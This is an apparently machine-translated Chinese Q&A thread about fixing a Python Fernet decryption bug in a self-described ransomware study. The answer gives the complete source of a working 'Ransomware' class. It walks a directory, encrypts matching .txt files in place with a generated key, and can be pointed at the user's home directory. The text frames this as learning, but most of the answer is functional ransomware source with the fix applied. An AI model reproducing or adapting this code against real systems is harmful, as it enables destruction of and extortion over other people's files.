Python cryptography.fernet文件解密

Question

为了学习，我正在研究洗劫工具。

所以我复制并粘贴这并像这一样编辑它，但是当我加密和解密一个文本文件时，它会附加一个看起来像随机字符串的字符串。我怎样才能解决这个问题？

像这样：

Hello, World!

至

Hello, World!DTYutnC1fZWc5gCxAnYJoiHOdvTCVYveZ8fhaPrpowQ7TH6afPz7o6E0igVbI2uan6YAjovzwOuRvm6gvi6Bg==

使用此密钥文件：

aDcv1CMBzK_hHisXwUKGp2EbG_eMfEg_sB14iOfmDBM=

Answer 1

问题是你加密然后解密。您的加密和解密功能工作得很好，问题是您总是试图从文件的开头开始编写任何更改--这将对加密工作很好，如果明文和密文大小相同(没有填充)，但在文件开始时会放置与密文大小不同的解密明文，这将很好地处理解密，因此您需要截断密码文本的其余部分。

import os
from os.path import expanduser
from cryptography.fernet import Fernet


class Ransomware(object):
    def __init__(self):
        self.key = None
        self.cryptor = None
        self.file_ext_targets = ["txt"]  # Type of files, you're going to encrypt

    def generate_key(self):
        self.key = Fernet.generate_key()
        self.cryptor = Fernet(self.key)

    def read_key(self, keyfile_name):
        with open(keyfile_name, "rb") as f:
            self.key = f.read()
            self.cryptor = Fernet(self.key)

    def write_key(self, keyfile_name):
        print(self.key)
        with open(keyfile_name, "wb") as f:
            f.write(self.key)

    def crypt_root(self, root_dir, encrypted=False):
        for root, _, files in os.walk(root_dir):
            for f in files:
                abs_file_path = os.path.join(root, f)
                if not abs_file_path.split(".")[-1] in self.file_ext_targets:
                    continue
                self.crypt_file(abs_file_path, encrypted=encrypted)

    def crypt_file(self, file_path, encrypted=False):


        with open(file_path, "rb+") as f:
            _data = f.read()
            if not encrypted:
                # Encrypt
                print()
                data = self.cryptor.encrypt(_data)
                f.seek(0)
                f.write(data)

            else:
                data = self.cryptor.decrypt(_data)
                print(f"File content before encryption: {data}")
                f.seek(0)
                f.write(data)
                f.truncate()

sys_root = expanduser("~")
local_root = "."

keyfile = "./keyfile"

ransom = Ransomware()


def encrypt():
    ransom.generate_key()
    ransom.write_key("keyfile")
    ransom.crypt_root(local_root)


def decrypt():
    ransom.read_key(keyfile)
    ransom.crypt_root(local_root, encrypted=True)
encrypt()
decrypt()